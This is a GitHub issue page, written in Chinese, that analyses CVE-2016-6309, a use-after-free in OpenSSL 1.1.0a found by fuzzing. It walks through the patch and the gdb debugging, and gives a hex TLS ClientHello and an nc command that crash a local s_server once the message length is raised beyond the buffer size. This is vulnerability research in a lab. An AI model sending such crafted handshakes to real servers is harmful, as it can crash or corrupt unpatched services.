We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
在研究honggfuzz的过程中,发现有人用它找到了openssl的一个洞(CVE-2016-6309),这是一个UAF的洞,为了了解如何fuzzing的,如果要是我写fuzzer,该怎么写,为了这个目的,所以就分析了一下。
环境准备
# kaili2 apt install gcc gdb python3.7-dev git make electric-fence -y # pwndbg git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh
编译openssl
openssl
wget https://github.com/openssl/openssl/archive/OpenSSL_1_1_0a.tar.gz tar -xvf OpenSSL_1_1_0a.tar.gz cd openssl-OpenSSL_1_1_0a ./config --debug make
将编译的库存放
cp ./libssl.so.1.1 /usr/local/lib cp ./libcrypto.so.1.1 /usr/local/lib
生成证书
./apps/openssl req -newkey rsa:2048 -nodes -keyout rsa_private.key -x509 -days 365 -out cert.crt
首先为了了解这个洞的大概情况,来看一下openssl做的修补
其实最主要的地方是在BUF_MEM_grow_clean之后的这句
BUF_MEM_grow_clean
s->init_msg = s->init_buf->data + msg_offset;
来看看BUF_MEM_grow_clean函数干了什么,需要更新 s->init_msg的值
s->init_msg
size_t BUF_MEM_grow_clean(BUF_MEM *str, size_t len) { char *ret; size_t n; if (str->length >= len) { if (str->data != NULL) memset(&str->data[len], 0, str->length - len); str->length = len; return (len); } if (str->max >= len) { memset(&str->data[str->length], 0, len - str->length); str->length = len; return (len); } /* This limit is sufficient to ensure (len+3)/3*4 < 2**31 */ if (len > LIMIT_BEFORE_EXPANSION) { BUFerr(BUF_F_BUF_MEM_GROW_CLEAN, ERR_R_MALLOC_FAILURE); return 0; } n = (len + 3) / 3 * 4; if ((str->flags & BUF_MEM_FLAG_SECURE)) ret = sec_alloc_realloc(str, n); else ret = OPENSSL_clear_realloc(str->data, str->max, n); // 出错 if (ret == NULL) { BUFerr(BUF_F_BUF_MEM_GROW_CLEAN, ERR_R_MALLOC_FAILURE); len = 0; } else { str->data = ret; str->max = n; memset(&str->data[str->length], 0, len - str->length); str->length = len; } return (len); }
可以看到使用len分别和str->length/str->max做了比较,如果都不满足,会realloc对应的str->data的数据,无论哪个realloc都会执行相似的操作
len
str->length/str->max
realloc
str->data
ret = OPENSSL_secure_malloc(len); if (str->data != NULL) { if (ret != NULL) memcpy(ret, str->data, str->length); OPENSSL_secure_free(str->data); }
那么将来再用到str->data的数据时,就会造成UAF,现在知道了大概的原因,实际利用gdb进行验证
UAF
gdb
随意点击几个https的网站,之后利用利用wireshark监控
https
wireshark
tcp.port==443 && ssl.record.version
具体如下,注意具体长度对应的位置,以后做漏洞poc会用到
poc
ctrl+shift+x将字节流数据导出,正常数据是这样的
ctrl+shift+x
首先利用正常的数据进行测试
监听端口
./apps/openssl s_server -key rsa_private.key -cert cert.crt -accept 443 –www
验证poc
nc localhost 443 < poc.raw
正常的poc.raw
poc.raw
16 03 01 02 00 01 00 01 FC 03 03 36 E4 09 F9 D9 3B 75 FF 3E 34 EC C7 2B 9C 3F 2E 78 B5 58 04 FE 13 DC 98 04 2A C2 95 DA FB 1E 77 20 F7 F6 AC ED 64 60 E8 CC 28 D3 BF B3 74 CA 21 40 B1 58 DB 66 5B A8 04 FC 25 42 C3 5D 7C 10 FD 16 00 22 AA AA 13 01 13 02 13 03 C0 2B C0 2F C0 2C C0 30 CC A9 CC A8 C0 13 C0 14 00 9C 00 9D 00 2F 00 35 00 0A 01 00 01 91 AA AA 00 00 00 00 00 16 00 14 00 00 11 66 6F 6E 74 73 2E 67 73 74 61 74 69 63 2E 63 6F 6D 00 17 00 00 FF 01 00 01 00 00 0A 00 0A 00 08 7A 7A 00 1D 00 17 00 18 00 0B 00 02 01 00 00 23 00 00 00 10 00 0E 00 0C 02 68 32 08 68 74 74 70 2F 31 2E 31 00 05 00 05 01 00 00 00 00 00 0D 00 14 00 12 04 03 08 04 04 01 05 03 08 05 05 01 08 06 06 01 02 01 00 12 00 00 00 33 00 2B 00 29 7A 7A 00 01 00 00 1D 00 20 78 25 48 03 BE DA 1B 55 F8 2E 97 3B 62 4C E5 7C 89 59 D2 13 0A AC 69 02 51 B3 7B 79 48 4B FC 1A 00 2D 00 02 01 01 00 2B 00 0B 0A CA CA 03 04 03 03 03 02 03 01 00 1B 00 03 02 00 02 2A 2A 00 01 00 00 15 00 C7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
动态调试
gdb ./app/openssl pwndbg> run s_server -key rsa_private.key -cert cert.crt -accept 443
在statem.c:546设下断点,成功断下
statem.c:546
来查看一下s相关的值
s
pwndbg> p/x s->init_buf->length $11 = 0x4000 pwndbg> p/x s->init_buf->max $12 = 0x5558 pwndbg> p/x s->s3->tmp.message_size $13 = 0x1fc pwndbg> p s->s3->tmp.message_size $14 = 508
经过多次调试,发现在这里s->init_buf->max和s->init_buf->length 都是固定的,而s->s3->tmp.message_size是我们可控的
s->init_buf->max
s->init_buf->length
s->s3->tmp.message_size
根据前面对BUF_MEM_grow_clean的分析,我们只要保证s->s3->tmp.message_size大于最大值,即s->init_buf->max < s->s3->tmp.message_size 就会成功进行realloc,而在我们的测试中,s->init_buf->max==0x5558,所以作如下更改设置为0x5560
s->init_buf->max < s->s3->tmp.message_size
s->init_buf->max==0x5558
0x5560
执行并查看
跟进BUF_MEM_grow_clean
可以发现成功执行到达realloc,为了观察将来是否利用了str->data以前的数据,释放前看一下str->data的情况
继续执行,崩溃
可以发现这里的内存是str->data中释放的,成功导致了UAF
其中通过多次调试可以发现其实其数据来源于s->init_msg,而s->init_msg中的数据又来源于s->init_buf->data
s->init_buf->data
s->init_msg = s->init_buf->data + n
利用OpenSSL_1_1_0b对比一下
OpenSSL_1_1_0b
wget https://github.com/openssl/openssl/archive/OpenSSL_1_1_0b.tar.gz tar -xvf OpenSSL_1_1_0b.tar.gz cd openssl-OpenSSL_1_1_0b ./config --debug make
下个断点
继续执行,会发现没有任何的问题,因为在grow_init_buf函数中及时更新了s->init_msg的值
grow_init_buf
static int grow_init_buf(SSL *s, size_t size) { size_t msg_offset = (char *)s->init_msg - s->init_buf->data; if (!BUF_MEM_grow_clean(s->init_buf, (int)size)) return 0; if (size < msg_offset) return 0; s->init_msg = s->init_buf->data + msg_offset; return 1; }
至此CVE-2016-6309具体形成UAF的原因也就分析清楚了
CVE-2016-6309
一次因漏洞修补触发的漏洞—CVE-2016-6309漏洞详细分析
openssl fix UAF
The text was updated successfully, but these errors were encountered:
No branches or pull requests
openssl 1.1.0a UAF(CVE-2016-6309)分析
在研究honggfuzz的过程中,发现有人用它找到了openssl的一个洞(CVE-2016-6309),这是一个UAF的洞,为了了解如何fuzzing的,如果要是我写fuzzer,该怎么写,为了这个目的,所以就分析了一下。
环境
环境准备
编译
openssl
将编译的库存放
生成证书
补丁情况
首先为了了解这个洞的大概情况,来看一下openssl做的修补
其实最主要的地方是在
BUF_MEM_grow_clean
之后的这句来看看
BUF_MEM_grow_clean
函数干了什么,需要更新s->init_msg
的值可以看到使用
len
分别和str->length/str->max
做了比较,如果都不满足,会realloc
对应的str->data
的数据,无论哪个realloc
都会执行相似的操作那么将来再用到
str->data
的数据时,就会造成UAF
,现在知道了大概的原因,实际利用gdb
进行验证POC准备
随意点击几个
https
的网站,之后利用利用wireshark
监控具体如下,注意具体长度对应的位置,以后做漏洞
poc
会用到ctrl+shift+x
将字节流数据导出,正常数据是这样的首先利用正常的数据进行测试
监听端口
验证
poc
正常的
poc.raw
漏洞分析
动态调试
在
statem.c:546
设下断点,成功断下来查看一下
s
相关的值经过多次调试,发现在这里
s->init_buf->max
和s->init_buf->length
都是固定的,而s->s3->tmp.message_size
是我们可控的根据前面对
BUF_MEM_grow_clean
的分析,我们只要保证s->s3->tmp.message_size
大于最大值,即s->init_buf->max < s->s3->tmp.message_size
就会成功进行realloc
,而在我们的测试中,s->init_buf->max==0x5558
,所以作如下更改设置为0x5560
执行并查看
跟进
BUF_MEM_grow_clean
可以发现成功执行到达
realloc
,为了观察将来是否利用了str->data
以前的数据,释放前看一下str->data
的情况继续执行,崩溃
可以发现这里的内存是
str->data
中释放的,成功导致了UAF
其中通过多次调试可以发现其实其数据来源于
s->init_msg
,而s->init_msg
中的数据又来源于s->init_buf->data
对比调试
利用
OpenSSL_1_1_0b
对比一下下个断点
继续执行,会发现没有任何的问题,因为在
grow_init_buf
函数中及时更新了s->init_msg
的值至此
CVE-2016-6309
具体形成UAF
的原因也就分析清楚了参考
一次因漏洞修补触发的漏洞—CVE-2016-6309漏洞详细分析
openssl fix UAF
openssl
The text was updated successfully, but these errors were encountered: